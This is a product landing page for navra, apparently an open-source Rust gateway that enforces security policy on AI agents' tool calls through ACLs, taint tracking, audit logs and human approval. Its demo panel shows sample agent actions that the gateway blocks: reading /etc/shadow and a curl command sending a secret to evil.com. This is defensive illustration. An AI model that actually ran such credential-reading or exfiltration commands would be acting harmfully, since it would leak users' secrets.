navra

navra

Security infrastructure for AI agents.

MCP Gateway Agent SDK Multi-Agent Flows Model Server

Every tool call, model call, and agent message passes through a single enforcement chokepoint — IFC taint tracking, 22 safety hooks, deny-wins ACLs. Built in Rust. Formally verified.

168 Kani proofs 6 TLA+ specs 2,900+ tests
Get started GitHub

Apache-2.0 · Rust · 24 crates · ~172K LoC

navra gateway
agent → file_read /etc/shadow
✗ ACL denied — path matches deny rule **/shadow
agent → curl https://evil.com/?d=$SECRET
✗ SSRF blocked — domain not on egress allowlist
✗ EXFIL credential theft pattern detected
agent → file_read ~/.config/navra/config.json
✓ IFC content contains credentials → tainted Secret — write to external tools blocked
● LOG 3 entries → hash-chained blackbox (SHA-256, tamper-detectable)

Secure any MCP server in one command

$ navra wrap -- npx @modelcontextprotocol/server-github

Safety filters, audit trail, and approval workflow — no config file needed.

Enforce

  • 9-gate security pipeline — auth, rate limiting, capabilities, tool policies, domain rules, ACLs, IFC, hooks, safety
  • Information Flow Control — 2×4 lattice, taint tracking, Bell-LaPadula no-write-down
  • Content safety — 8 profiles, regex + NER + ML, pseudonymization, canary tokens
  • Tool scanner — 8 threat categories for upstream supply chain defense
  • Credential brokering — agents never see raw secrets
  • Human-in-the-loop — 4-channel approval (MCP, D-Bus, tray, CLI)

Observe

  • Hash-chained audit — SHA-256 blackbox, every tool call, no opt-in
  • Self-harness — mine weaknesses from flow traces, propose + validate fixes
  • Prometheus + OTel — metrics endpoint, optional trace export
  • GDPR tools — PII purge, consent tracking, data subject reports
  • Compliance — EU AI Act Art 14, SOC2 CC6.1, ISO 42001
  • Causal provenance — graph of tool-call causality across flows

Build

  • Agent SDK — Rust builder API, 6 model backends, ReAct loop, signals, replay
  • Multi-agent flows — DAG, handoff, iterative; mesh + blackboard with IFC
  • Persona factory — YAML personas, heuristics, upstream auto-discovery
  • Memory + RAG — working memory, knowledge store, hybrid search, reranking
  • Model server — embedded llama.cpp, 4 isolation modes, GPU auto-detect
  • Agent bundles — signed OCI artifacts with persona + permissions + upstreams

Ready to secure your agents?

Install navra, connect your MCP clients, enforce least privilege from day one.

Read the docs View on GitHub